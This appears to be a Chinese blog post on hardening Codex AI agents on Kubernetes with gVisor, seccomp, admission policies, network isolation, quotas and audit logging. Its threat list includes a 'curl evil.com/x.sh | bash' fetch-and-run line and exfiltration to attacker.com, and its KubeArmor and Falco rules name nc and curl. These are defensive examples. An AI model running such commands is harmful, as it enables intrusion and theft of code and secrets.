← 返回写作
16 分钟阅读

Codex 企业级落地(上):从单机 sandbox 到 K8s 生产架构

Codex 企业级落地(上):从单机 sandbox 到 K8s 生产架构

Codex 企业级落地(上):从单机 sandbox 到 K8s 生产架构

本系列三篇:

引言:300 个工程师同时用,怎么办?

上一篇文章里,我们把 Codex 的 sandbox 拆成了 5 层。如果你没读上一篇,记住一个比喻就够了:Codex sandbox 就像把 AI 关进一个透明笼子 —— 进程加固 / 命令白名单 / 平台沙箱 / 内核隔离 / 人工越狱审批五道并行的锁,任何一道单独看都能撬,叠在一起想跑出来非常难。在你笔记本上跑得好好的,AI 想 rm -rf 都被拦下来了。

但现在你要把它推给公司 300 个工程师用,问题立刻就来了。

单机 sandbox 满足不了 300 个工程师的真实需求

老板第一个问题:「能不能让所有人都能用?」你想了想,「装个二进制呗,每人本地跑一份」。第二天就被打脸:

  • 你的 5 个微服务团队各自有自己的 GitLab 权限、SSH key、production access。AI 在每个工程师本地跑,风险隔离全靠工程师本人的 sandbox 配置。有人不小心给了 --full-disk-access,AI 顺手把 ~/.ssh/id_rsa 上传到了某个 npm 包。
  • 你接了公司的 LLM gateway,每个工程师都有自己的 API key。安全部门来查:”谁在 14:32 让 AI 执行了 kubectl delete deployment payment-prod?”你翻遍 300 台 Mac 的 log 也查不到。
  • 数据团队同事想用 AI 帮他写 SQL,但他不会装 Codex 也不会配 sandbox。让他自己装的方案到他这里就断了
  • 你想做一个 “PR 自动修测试” 的 CI 机器人,AI 要在某个机器上跑 pnpm testcargo build这个”某个机器”是谁的?怎么调度?怎么计费?

单机 sandbox 是个能力,不是产品。能力到产品中间隔的,正是 K8s 这一层。

这篇文章讲的就是怎么把 Codex 的 sandbox 哲学搬到 K8s 集群上,让 300 个工程师同时用,让安全部门能审计,让财务能算账。我们会覆盖四块:

主题 核心技术
1 Pod 内部隔离 Pod Security Standards、gVisor / Kata、Seccomp、AppArmor
2 集群策略准入 OPA Gatekeeper / Kyverno
3 多租户与配额 Namespace、ResourceQuota、RBAC、LLM token 预算
4 网络隔离与可观测 Cilium NetworkPolicy、Falco、KubeArmor、审计链路

读完你会有一个能直接套到生产的架构蓝图,外加一份 4 阶段的落地路线。


1. 5 层 sandbox 怎么映射到 K8s

K8s 上跑 AI agent 不是把 Codex 的 sandbox 再实现一遍,而是把它的安全哲学用 K8s 原生的语言重新表达。Codex 单机的 5 层每一层在 K8s 里都有对应物:

Codex 单机 5 层 sandbox 在 K8s 中的等价物

Codex 单机层 K8s 对应物 谁来管
进程加固(关 ptrace、core dump、LD_PRELOAD Pod Security Standards(restricted profile) K8s 准入控制器
execpolicy(命令白名单) OPA Gatekeeper / Kyverno(CRD 准入策略) 集群准入控制器
平台 sandbox(seatbelt / bwrap) gVisor / Kata Containers(用户态内核 / 微 VM) 容器运行时
内核隔离(namespaces + seccomp) Linux namespaces(容器自带)+ Seccomp Profile + AppArmor / SELinux Linux kernel + LSM
shell escalation(用户主动越狱) 人工 approval workflow(Web UI / Slack bot / RBAC) 应用层

注意几个不完全对应的地方。

K8s 的 Pod 默认就有 namespace 隔离(PID/Net/Mount/UTS/IPC),所以 Codex 在 Linux 上做的 --unshare-* 在 K8s 里默认就有了。但 K8s 默认的 runc 容器和宿主共享内核,syscall 漏洞(Dirty Pipe、CVE-2022-0492)能让容器内的攻击者直接越狱到宿主。这就是为什么生产场景下你要加一层 gVisor 或 Kata —— 它们才能给你 Codex 单机 sandbox 那种「内核漏洞也跑不出来」的安全感。

execpolicy 在 K8s 里只能解决一半问题。它原本是「AI 想跑某条命令,先过策略」,但在 K8s 里 AI 跑的是 pod 里的进程,命令本身已经在 sandbox 里了。这里 OPA / Kyverno 解决的是另一个层级的策略:「AI 想创建一个新 Pod 跑 X,准入控制器先看看 X 是不是允许的镜像、是不是允许的命令、是不是允许的资源」。两者互补但不等同。

shell escalation 那种「人工同意一次就跳出 sandbox」在 K8s 里需要重新设计。不能让 pod 真的跳出 K8s 沙箱(那等于关 sandbox),但可以让用户在 Web UI 上批准一个「特权操作」,由一个独立的、有更高权限的 controller 代为执行,结果回传给原 pod。后面会展开。


2. Pod 内部隔离:让一个容器也是一个笼子

K8s 的 Pod 默认是安全的玩具,不是生产的城堡。一个 Pod 默认能做的事情比你想象的多:

  • 跑 root(除非你显式关掉)
  • 写整个根文件系统
  • 持有所有 Linux capabilities(CAP_SYS_ADMIN 这种几乎等于半个 root)
  • 调用所有 syscall
  • 共享宿主内核(容器逃逸 = 主机沦陷)

让一个 Pod 真正变成 sandbox,需要把这五条全部反过来。

Pod 安全栈:从 securityContext 到 LSM 的五层防御

2.1 Pod Security Standards:K8s 自带的安全档位

Pod Security Standards(缩写 PSS)是 K8s 自带的 Pod 安全基线,从 K8s 1.25 起正式 GA。它把 Pod 安全分成 Privileged / Baseline / Restricted 三档,是最基础的一层。不需要装任何 controller,K8s 集群自带。

三档的含义:

含义
Privileged 不限制,等于 root,给系统组件用(kube-proxy、CNI plugin 之类)
Baseline 最小限制,禁掉最危险的几个(hostNetwork、hostPID、privileged 容器)
Restricted 严格限制,符合 CIS benchmark,禁掉 root、强制 seccomp/AppArmor、强制 readOnlyRootFilesystem

Codex 的 sandbox pod 必须跑 restricted。在 namespace 上打个 label 就启用:

1
2
3
4
5
6
7
apiVersion: v1
kind: Namespace
metadata:
name: codex-runtime
labels:
pod-security.kubernetes.io/enforce: restricted
pod-security.kubernetes.io/enforce-version: latest

这一行 label 之后,这个 namespace 里任何不符合 restricted 标准的 pod 都创建不出来——准入控制器直接拒了。等于在最前置的位置就把一类错误配置堵死。

2.2 securityContext:单个 Pod 的最小权限套餐

PSS 是 namespace 级的硬底线。每个 pod 自己还要再细化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
apiVersion: v1
kind: Pod
metadata:
name: codex-sandbox-runner
spec:
runtimeClassName: gvisor # ← 关键:用 gVisor 替换 runc,下面细说
securityContext:
runAsNonRoot: true # 不准跑 root
runAsUser: 1000 # 用 uid=1000 这个普通用户
runAsGroup: 1000
fsGroup: 1000
seccompProfile:
type: RuntimeDefault # 用 K8s 默认 seccomp profile(已经禁了 200+ 危险 syscall)
containers:
- name: codex
image: company.io/codex:v1.2.0
securityContext:
allowPrivilegeEscalation: false # 禁止通过 setuid 提权
readOnlyRootFilesystem: true # 根文件系统只读
capabilities:
drop: ["ALL"] # 丢掉所有 Linux capabilities
volumeMounts:
- name: workspace # 唯一可写的目录
mountPath: /workspace
- name: tmp
mountPath: /tmp
volumes:
- name: workspace
emptyDir:
sizeLimit: 10Gi
- name: tmp
emptyDir:
medium: Memory # tmpfs,断电就没,避免持久化敏感数据
sizeLimit: 1Gi

这套配置完全对应 Codex 单机 sandbox 的几个核心约束:

  • runAsNonRoot + capabilities.drop: ALL:等价于 Linux sandbox 的 PR_SET_NO_NEW_PRIVS + 禁 setuid
  • readOnlyRootFilesystem:等价于 bwrap 的 --ro-bind / /
  • volumes.workspace:等价于 bwrap 的 --bind /workspace /workspace
  • seccompProfile: RuntimeDefault:等价于 Codex 在 bwrap 里挂的 seccomp 网络过滤(实际更严,覆盖更多 syscall)

这一层是基础,便宜、立刻生效,每个 pod 都该有。但还不够——只要还在 runc,就还是和宿主共享内核。

2.3 gVisor / Kata Containers:把内核也隔离了

runc vs gVisor vs Kata:三种容器运行时的隔离强度对比

K8s 标准的容器运行时是 runc(Open Container Initiative 的参考实现,本质就是 namespace + cgroup + seccomp 的封装)。这玩意快、稳,但有一个根本问题:容器和宿主共享同一个 Linux 内核

历史上的容器逃逸漏洞 90% 都是利用了内核 syscall 漏洞:

  • Dirty COW(CVE-2016-5195):内存写时复制条件竞争
  • Dirty Pipe(CVE-2022-0847):pipe buffer 越权写
  • CVE-2022-0492:cgroup release_agent 利用
  • CVE-2024-1086:netfilter UAF

每出一个,所有用 runc 的容器集群一夜之间裸奔。

解决思路有两条:

第一条:gVisor(Google 出品,用户态内核)。在容器和宿主之间插一个叫 Sentry 的进程,Sentry 用 Go 写、跑在用户态、自己实现了 ~200 个 syscall。容器进程发的 syscall 先被 Systrap(gVisor 当前默认拦截机制,基于 seccomp + signal,比早期的 ptrace 平台快很多)或 KVM 拦截,转给 Sentry 处理;只有 Sentry 觉得安全的少数 syscall 才会真的走到宿主内核。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌─────────────────────────────────────┐
│ Container Process (your codex) │
│ │ │
│ │ syscall │
│ ▼ │
│ ┌─────────────────────────────┐ │
│ │ Sentry (user-space kernel) │ │ ← gVisor 的核心
│ │ 自己实现 ~200 个 syscall │ │
│ └──────────────┬──────────────┘ │
│ │ │
│ │ 极少数转发 │
│ ▼ │
│ ┌─────────────────────────────┐ │
│ │ Host Linux Kernel │ │ ← 暴露面收窄到 < 50 个 syscall
│ └─────────────────────────────┘ │
└─────────────────────────────────────┘

效果:容器内即使利用了 Dirty Pipe 这种 syscall 漏洞,攻击只到 Sentry 这一层就被吸收了,宿主内核根本没机会被触发。代价:syscall-heavy 的负载(比如编译大型项目)性能下降 10~30%,少数 syscall(io_uring 等高级特性)不支持。

K8s 里启用 gVisor 只要装一个 RuntimeClass:

1
2
3
4
5
apiVersion: node.k8s.io/v1
kind: RuntimeClass
metadata:
name: gvisor
handler: runsc # gVisor 的运行时叫 runsc

然后 Pod spec 里加一行 runtimeClassName: gvisor 就行。

第二条:Kata Containers(OpenInfra Foundation 旗下,由 Intel Clear Containers 和 Hyper.sh runV 合并而来,微 VM 方案)。每个 pod 跑在一个独立的轻量级 VM 里,VM 里有自己的 Linux kernel。隔离强度比 gVisor 还高(每个 pod 一个 kernel),代价是启动慢(500ms~2s),内存开销大(每个 VM 至少几十 MB)。

维度 runc gVisor Kata
启动延迟 < 100ms ~200ms 500ms~2s
内存开销 几乎无 ~20MB 几十~几百 MB
syscall 覆盖 100% ~80%(高级特性不支持) 100%(独立 kernel)
隔离强度 弱(共享 kernel) 强(用户态 kernel 拦截) 极强(独立 kernel + VM)
性能(计算) 100% 95~100% 95~100%
性能(syscall 密集) 100% 70~90% 90~95%
适合场景 内部受信负载 AI agent / 多租户代码执行 ← Codex 选这个 极敏感数据处理、政府/金融

实战建议:Codex AI agent 跑在 gVisor 上是最佳点。AI 跑的负载主要是 git/编辑器/编译/测试,对个别 syscall 的兼容性没那么敏感,但你需要它对未知 prompt injection 的鲁棒性。Kata 太重,runc 太险。

2.4 自定义 Seccomp Profile:syscall 级精准白名单

seccompProfile.type: RuntimeDefault 已经很好了,但你可以更紧。比如,AI agent 不应该需要 mountrebootkexec_load 这些 syscall。写个 JSON profile(下面是节选骨架,实际生产白名单一般在 80-150 个 syscall 之间,建议从 RuntimeDefault 的源码 fork 出来再剪枝):

1
2
3
4
5
6
7
8
9
10
11
12
{
"defaultAction": "SCMP_ACT_ERRNO",
"syscalls": [
{
"names": [
"read", "write", "open", "close", "stat", "fstat", "lstat",
"execve", "fork", "clone", "wait4", "exit_group"
],
"action": "SCMP_ACT_ALLOW"
}
]
}

放到 K8s 节点的 /var/lib/kubelet/seccomp/profiles/codex-agent.json,然后 pod 里用 localhostProfile

1
2
3
seccompProfile:
type: Localhost
localhostProfile: profiles/codex-agent.json

实战经验:自定义 seccomp profile 是最容易翻车的地方。开始时别上手就写白名单,用 audit 模式跑一周,把实际触发的 syscall 都收集起来,再加一些(不要少)。


3. OPA Gatekeeper / Kyverno:把 execpolicy 升级成集群准入

Codex 单机的 execpolicy 是进程级的策略:AI 想跑某条命令,先问规则。

到了集群里,需要的是资源级的策略:AI 想创建某个 Pod、某个 Job、某个 ConfigMap,先问规则。这一层叫准入控制器(admission controller,K8s API server 在写入 etcd 之前的最后一道关)。

OPA Gatekeeper 准入控制流程:从 kubectl 到 etcd 的策略评估链路

业界两个主流方案:OPA GatekeeperKyverno

3.1 OPA Gatekeeper:用 Rego 写策略

Rego 是 OPA(Open Policy Agent,CNCF 毕业项目,通用策略引擎)的 DSL。学习曲线略陡但表达力强。

定义一个策略模板(ConstraintTemplate):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
name: k8scodexallowedimages
spec:
crd:
spec:
names:
kind: K8sCodexAllowedImages
validation:
openAPIV3Schema:
type: object
properties:
allowedRegistries:
type: array
items:
type: string
targets:
- target: admission.k8s.gatekeeper.sh
rego: |
package k8scodexallowedimages

violation[{"msg": msg}] {
container := input.review.object.spec.containers[_]
not starts_with_allowed(container.image)
msg := sprintf("Codex pod 镜像必须来自允许的 registry,得到 %v", [container.image])
}

starts_with_allowed(image) {
registry := input.parameters.allowedRegistries[_]
startswith(image, registry)
}

然后实例化策略:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sCodexAllowedImages
metadata:
name: codex-images-only-from-internal
spec:
match:
kinds:
- apiGroups: [""]
kinds: ["Pod"]
namespaces: ["codex-runtime"]
parameters:
allowedRegistries:
- "registry.company.internal/codex/"
- "registry.company.internal/sandbox-base/"

效果:在 codex-runtime namespace 里创建任何 Pod,镜像不来自公司内部 registry 就直接被拒。这意味着 AI 无论多想拉 Docker Hub 上的恶意镜像都没用——准入这一层就阻了。

3.2 Kyverno:用 YAML 写策略

如果你嫌 Rego 不友好,Kyverno(Nirmata 出品,K8s 原生策略引擎)允许你直接用 YAML 写策略:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: codex-pod-must-use-gvisor
spec:
validationFailureAction: Enforce
rules:
- name: require-gvisor-runtime
match:
any:
- resources:
kinds: ["Pod"]
namespaces: ["codex-runtime"]
validate:
message: "Codex pod 必须使用 gVisor 运行时"
pattern:
spec:
runtimeClassName: gvisor

YAML 的可读性高,对运维团队友好。Kyverno 还能做 mutation(自动改写 pod spec)和 generation(创建关联资源),比 OPA Gatekeeper 功能更全。生产建议:新项目优先 Kyverno,已有 Rego 资产的可以继续 OPA

3.3 把 Codex execpolicy 的精神搬过来

execpolicy 的几个核心特征——allow / prompt / forbidden 三档、规则自带测试用例、规则带 justification——都能在 OPA / Kyverno 上重现:

Codex execpolicy K8s admission 等价
decision = "allow" 准入通过
decision = "prompt" mutation 加 label requires-approval=true,由独立的 approval controller 处理
decision = "forbidden" 准入拒绝 + 返回 justification 文本
match / not_match 自带测试 Kyverno test (kyverno test) / OPA conftest
justification Policy 的 validate.message 字段

实战经验:把 execpolicy 的规则文件作为单一信源,用一个脚本自动生成 OPA 和 Kyverno 的策略。规则文件改动只在一处,下游策略自动同步。这避免了”两份策略不一致”这种灾难性配置问题。


4. 网络隔离:AI Pod 能上哪些网

Sandbox 里所有事情都做对了,AI 还是能干一件最危险的事:联网

  • 把代码上传到 attacker.com
  • 拉一个恶意脚本 curl evil.com/x.sh | bash
  • 把公司内部 LLM gateway 的 token 转发出去
  • DNS 隧道(用 DNS query 当 covert channel 传数据)

K8s 默认网络是全开放的——任何 Pod 默认能访问任何其他 Pod、任何外网。生产环境必须默认全拒,显式开窗口

K8s 网络隔离三层:NetworkPolicy + Cilium L7 + Egress Gateway

4.1 NetworkPolicy:K8s 内置但能力有限

K8s 自带 NetworkPolicy,但你需要一个支持它的 CNI(Calico、Cilium、Antrea,Flannel 默认不支持)。

第一条规则永远是”全拒”:

1
2
3
4
5
6
7
8
9
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: deny-all-by-default
namespace: codex-runtime
spec:
podSelector: {} # 选中 namespace 内所有 pod
policyTypes: ["Ingress", "Egress"]
# 没写任何 ingress / egress 规则 = 全拒

然后逐项允许 AI Pod 真正需要访问的服务:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: codex-allow-llm-gateway
namespace: codex-runtime
spec:
podSelector:
matchLabels:
app: codex-runner
policyTypes: ["Egress"]
egress:
# 允许访问公司 LLM Gateway
- to:
- namespaceSelector:
matchLabels:
name: llm-gateway
podSelector:
matchLabels:
app: gateway
ports:
- protocol: TCP
port: 443
# 允许 DNS(必需)
- to:
- namespaceSelector:
matchLabels:
kubernetes.io/metadata.name: kube-system
podSelector:
matchLabels:
k8s-app: kube-dns
ports:
- protocol: UDP
port: 53

NetworkPolicy 是 L3/L4 的(IP + 端口),它不知道 HTTP path 是什么、SQL 语句是什么。要做 L7 隔离,需要 Cilium 或 Service Mesh。

4.2 Cilium:L7 网络策略

Cilium(Isovalent 出品,eBPF-based CNI,2023 年 CNCF 毕业)支持 L7 NetworkPolicy。比如,AI Pod 只允许调 LLM Gateway 的 /v1/chat/completions,不允许调 /admin/*

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
apiVersion: cilium.io/v2
kind: CiliumNetworkPolicy
metadata:
name: codex-llm-l7
namespace: codex-runtime
spec:
endpointSelector:
matchLabels:
app: codex-runner
egress:
- toEndpoints:
- matchLabels:
app: gateway
io.kubernetes.pod.namespace: llm-gateway
toPorts:
- ports:
- port: "443"
protocol: TCP
rules:
http:
- method: "POST"
path: "/v1/chat/completions"
- method: "POST"
path: "/v1/messages"
# /admin/* 不在白名单 = 拒绝

L7 策略能挡住一类常见的 AI 越权——比如 prompt injection 让 AI 去调 /admin/delete-user,即使 token 有权限,请求也到不了网络层。

4.3 Egress Gateway:所有出口经过固定 IP

公司外网访问通常需要走代理 + 审计。Egress Gateway(出口网关,所有 pod 出公网的流量都先到这个 gateway 节点再出去)让你能:

  • 所有出公网的流量从单一 IP 出去(防火墙白名单只用配一个 IP)
  • 在 gateway 上做 DNS 审计、域名白名单
  • 阻断已知恶意域名(结合 threat intel)

Cilium 的 Egress Gateway 配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
apiVersion: cilium.io/v2
kind: CiliumEgressGatewayPolicy
metadata:
name: codex-egress-via-gateway
spec:
selectors:
- podSelector:
matchLabels:
app: codex-runner
egressGateway:
nodeSelector:
matchLabels:
node-role: egress-gateway
egressIP: "10.20.30.40" # 所有 codex pod 出公网都从这个 IP 出
destinationCIDRs:
- "0.0.0.0/0"

效果:你的网络管理员只用在防火墙上盯一个 IP 就能监管所有 AI 出网行为。


5. 多租户与配额:让 300 个工程师互不干扰

5.1 Namespace 切分策略

K8s 的隔离基本单位是 namespace。给多租户切 namespace 有三种典型策略:

策略 适用 优缺点
Per-team 团队规模 5-20 人 中等粒度,运维负担可接受。推荐起步选这个
Per-user 高敏感场景(金融、医疗) 隔离最强,但 namespace 数量爆炸(300 个工程师 = 300 个 ns),运维爆炸
Per-project 项目制公司、外包 适合临时 / 短期项目,自然到期清理

实战经验:刚起步用 Per-team,按 GitLab group 一比一映射 namespace。等用户上来再考虑细化。

1
2
3
4
5
6
7
8
9
apiVersion: v1
kind: Namespace
metadata:
name: codex-team-payments
labels:
pod-security.kubernetes.io/enforce: restricted
team: payments
cost-center: "CC-7842" # 用于计费分摊
codex-tier: production # 用于策略匹配

5.2 ResourceQuota + LimitRange:硬资源天花板

ResourceQuota 给整个 namespace 设资源上限:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
apiVersion: v1
kind: ResourceQuota
metadata:
name: team-payments-quota
namespace: codex-team-payments
spec:
hard:
requests.cpu: "20"
requests.memory: 40Gi
limits.cpu: "40"
limits.memory: 80Gi
persistentvolumeclaims: "10"
pods: "50" # 同时运行的 sandbox pod 不超过 50
count/jobs.batch: "100" # 排队的 job 不超过 100

LimitRange 给单个 pod 设默认值(防止某个用户写了 pod 不带 resource 直接吃满):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
apiVersion: v1
kind: LimitRange
metadata:
name: team-payments-limits
namespace: codex-team-payments
spec:
limits:
- type: Container
default:
cpu: "500m"
memory: 1Gi
defaultRequest:
cpu: "100m"
memory: 256Mi
max:
cpu: "4"
memory: 8Gi

5.3 LLM Token 配额:钱也得管

CPU 内存配好了,还没管。AI agent 一次会话动辄百万 token,按 GPT-4o 输入价约 $2.5/M(截至 2026-05)计算,一个工程师疯狂用 8 小时能消耗几十美元。300 个工程师不控制能直接亏穿预算。

K8s 没有原生的”LLM token 配额”概念,需要自己加一层。常见做法:

方案 A:业务 LLM Gateway 上配额。Gateway 维护一个 (namespace, day) → tokens 的计数器。每次 AI 请求过来时检查并扣减。预算用完返回 429。简单但需要 LLM Gateway 自己实现。

方案 B:Kyverno mutation 注入预算 header。K8s admission 阶段给每个 codex pod 注入一个 header X-Token-Budget: <namespace 当日剩余预算>,业务 Gateway 看 header 限流。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: inject-token-budget
spec:
rules:
- name: add-budget-env
match:
any:
- resources:
kinds: ["Pod"]
namespaces: ["codex-*"]
mutate:
patchStrategicMerge:
spec:
containers:
- (name): "*"
env:
- name: TOKEN_BUDGET_NAMESPACE
value: "{{ request.namespace }}"
- name: TOKEN_BUDGET_DAILY_USD
value: "{{ namespace.metadata.annotations.\"codex.io/daily-budget-usd\" || `100` }}"

方案 C:自研 Operator。用一个 controller 监听 LLM Gateway 的 metrics(OTel / Prometheus),按 namespace 聚合,达阈值时 patch namespace 的 ResourceQuota 把 pods 数量调到 0,新 pod 起不来。

实战上 方案 A + 方案 B 组合最稳:Gateway 是兜底,K8s mutation 让客户端能提前知道预算(避免无谓发请求)。

5.4 RBAC:用户只能看自己的命

1
2
3
4
5
6
7
8
9
10
11
12
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: codex-team-member
namespace: codex-team-payments
rules:
- apiGroups: [""]
resources: ["pods", "pods/log"]
verbs: ["get", "list", "watch"] # 只能看,不能创建
- apiGroups: ["codex.company.io"]
resources: ["agentsessions"] # 用 CRD 抽象用户操作
verbs: ["get", "list", "create", "delete"]

关键设计:用户不直接 kubectl,而是通过 CRD(如 AgentSession)操作。这样用户接口只有几个 CRD 的 schema,下游真正的 pod / job / configmap 由 controller 创建。这一层抽象既限制了用户能干什么,也让用户体验大幅简化。


6. 可观测与审计:出事了能查清楚

四道关都过了,AI 跑起来了。但生产环境的核心问题是:出事了你能查清楚谁在什么时候干了什么吗?

K8s 的可观测分三层:

数据源 解决的问题
运行时安全 Falco / KubeArmor 实时检测 sandbox 内的可疑行为
审计日志 K8s audit log + Codex execpolicy log 复盘”谁让 AI 干了 X”
指标 + 追踪 Prometheus / OTel / Tempo 性能、成本、SLA

6.1 Falco:syscall 级实时检测

Falco(最初由 Sysdig 开源,2024 年从 CNCF Incubating 毕业,syscall 级 runtime threat detection)通过 eBPF 钩子监听内核 syscall,按规则匹配出可疑行为告警。它是只看不拦,但告警快、规则灵活。

针对 Codex sandbox 写一条规则:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
- rule: Codex pod spawns unexpected shell
desc: 检测 codex sandbox 启动了不该启动的 shell
condition: >
container.image.repository startswith "registry.company.internal/codex/" and
proc.name in (sh, bash, zsh, ash, dash) and
not proc.pname in (codex, codex-tui, codex-exec)
output: >
Codex pod 启动了未预期的 shell:
pod=%k8s.pod.name container=%container.name
proc=%proc.name pproc=%proc.pname
cmdline=%proc.cmdline
user=%user.name
priority: WARNING
tags: [codex, container, mitre_execution]

- rule: Codex pod connects to non-allowed IP
desc: codex pod 出网到非白名单 IP
condition: >
container.image.repository startswith "registry.company.internal/codex/" and
fd.type=ipv4 and
not fd.sip in (allowed_egress_ips) and
evt.type in (connect, sendto)
output: >
Codex pod 尝试连接非白名单地址:
pod=%k8s.pod.name dest=%fd.sip:%fd.sport
priority: CRITICAL

Falco 告警接进 SLS / Loki / Sentry,安全团队按优先级响应。

6.2 KubeArmor:基于 LSM,主动拦截

KubeArmor(AccuKnox 出品,CNCF Sandbox 项目)和 Falco 互补:基于 LSM(AppArmor/SELinux/BPF-LSM),可以主动拦截而不只是告警。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
apiVersion: security.kubearmor.com/v1
kind: KubeArmorPolicy
metadata:
name: codex-block-dangerous-binaries
namespace: codex-runtime
spec:
selector:
matchLabels:
app: codex-runner
process:
matchPaths:
- path: /usr/bin/nc # 禁止用 netcat
- path: /usr/bin/curl # 禁止 curl(强制走 SDK)
fromSource:
- path: /workspace/ # 但工作目录里的脚本可以
severity: 8
action: Block

实战策略:Falco 用于覆盖广、灵活的告警;KubeArmor 用于少数你确定要拦死的场景。两者都开。

6.3 全链路审计:从用户请求到 syscall

最难的是把所有维度的日志串起来。一个典型的 Codex 请求生命周期:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
用户 (alice) 在 Web UI 提交 prompt

▼ HTTP 请求带 X-Trace-Id: abc123
API Gateway (鉴权 + 限流)

▼ 创建 AgentSession CRD
Codex Operator

▼ 准入策略评估 (OPA / Kyverno)

▼ 创建 Sandbox Pod
gVisor + restricted Pod

▼ AI 决定执行命令
execpolicy 检查

▼ pod 内 syscall
Falco / KubeArmor 监听

▼ 调 LLM Gateway
▼ 调内部 GitLab MCP
▼ 写工作区 PVC

每一步都打 log,统一通过 OpenTelemetry(CNCF 毕业的可观测协议,把 metrics/logs/traces 统一)带上 traceId,送到统一的存储(SLS / Loki + Tempo)。出事时按 traceId 一搜,从用户点击到 syscall 全链路时间线立刻可见。

最关键的是 Codex execpolicy 决策也要进 audit log。每次 AI 想跑命令时记录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"ts": "2026-05-09T11:46:23Z",
"traceId": "abc123",
"user": "alice@company.com",
"namespace": "codex-team-payments",
"session": "sess-xyz",
"command": ["git", "push", "--force"],
"decision": "forbidden",
"matched_rule": "destructive-git-ops",
"justification": "强制 push 会覆盖远程历史,使用 --force-with-lease 替代",
"model": "claude-sonnet-4-6",
"tokens_input": 12453,
"tokens_output": 287
}

这条记录就是合规审计的金标准——谁、什么时候、想干什么、被允许还是被拒、用了多少 token。


7. 完整生产架构:把所有东西放进一张图

把上面所有组件放在一起,得到一个完整的 Codex 企业级 K8s 架构:

Codex 企业级 K8s 生产架构总图:用户 → 准入 → Sandbox Pod → 服务集成 → 可观测

各层职责回顾:

组件 作用
用户层 Web UI / VS Code 插件 / CLI 用户接入,统一 SSO
接入层 API Gateway(Nginx / Envoy) + OAuth/OIDC 鉴权、限流、HTTPS 终止
控制平面 Codex Operator(CRD: AgentSession) 把用户操作翻译成 K8s 资源
准入层 OPA Gatekeeper / Kyverno 策略评估,等价于 execpolicy
运行时层 Sandbox Pod(gVisor + restricted PSS + seccomp) 隔离 AI 执行
存储层 PVC(工作区) + Secret(API key) + ConfigMap 持久化
网络层 Cilium NetworkPolicy + Egress Gateway 进出流量控制
服务集成层 LLM Gateway / GitLab MCP / Jira MCP / Confluence MCP AI 能调用的内部服务
可观测层 Falco + KubeArmor + Prometheus + OTel 实时监控 + 审计
审计层 SLS / Loki + Grafana + 安全 SIEM 长期存档 + 复盘

注意几个非显而易见的设计选择

  • Operator 而非直接 kubectl:用户接口是 AgentSession CRD,所有 K8s 复杂性藏在 controller 后面。这让你能在不改前端的情况下迭代后端实现。
  • MCP 化所有内部服务:GitLab、Jira、Confluence 都封装成 MCP server,AI 通过统一协议访问,权限隔离在 MCP server 层做。
  • Egress Gateway 是合规审计的锚点:不管多少 codex pod,所有出公网流量都从一个 IP 出,安全团队监管的复杂度恒定。

8. 从 MVP 到生产:4 阶段落地路线

不要一步到位。按 4 阶段逐步推进,每阶段都有清晰的可交付物。

从 MVP 到规模化的 4 阶段演进路线图

Phase 1: MVP(1-2 周)

目标:让 5-10 个早期用户能跑起来,证明价值。

  • ✅ K8s 上跑 Codex pod,单 namespace,默认 runc
  • ✅ 用现成 Kyverno 策略模板(强制 readOnlyRootFilesystem、runAsNonRoot)
  • ✅ 接公司 LLM Gateway(最便宜的模型先用着)
  • ✅ 一个简单 Web UI(哪怕是 Streamlit)
  • ✅ K8s audit log 写到现有日志系统

不做:gVisor、Falco、多租户、完整 OPA 策略链、CRD/Operator。

判断标准:5 个用户用一周,反馈”能干活,比 ChatGPT Web 顺手”。

Phase 2: Beta(1-2 个月)

目标:扩到 50 用户,引入正经的安全机制。

  • 启用 gVisor RuntimeClass,sandbox pod 默认走 gVisor
  • 加 Cilium,启用 NetworkPolicy 默认 deny
  • 部署 Falco,写 5-10 条 codex 专用规则
  • 引入 Kyverno 完整策略链(镜像白名单、资源 quota、tag 强制)
  • 接 GitLab MCP(让 AI 能查代码、提 MR)
  • 加成本看板(按 namespace 统计 token 消耗)

判断标准:50 用户、零安全事故、月成本符合预期。

Phase 3: 生产(3-6 个月)

目标:全公司可用,过安全合规审查。

  • CRD/Operator 化用户接口
  • 集成公司 SSO(OIDC / SAML)
  • 多团队 onboard,per-team namespace + 配额
  • 全链路 OTel 追踪
  • shell escalation 改造成 Web 审批 workflow
  • 接安全部门的 SIEM 系统
  • 灾备 + 跨可用区

判断标准:300 用户、月度成本可控、安全部门签字。

Phase 4: 规模化(6 个月+)

目标:成为公司基础设施的一部分。

  • Policy as code 流水线(策略改动走 GitOps)
  • 跨集群、多 region
  • 自定义 LLM router(按任务路由到不同模型)
  • 接公司 FinOps 系统做成本归因
  • 把 Codex 内嵌到 CI/CD 流程(自动修测试、自动写 release note)
  • 文档 + 内训 + Champion 网络

总结:从单机到生产的关键认知

回头看这一路的演进,几个判断很重要:

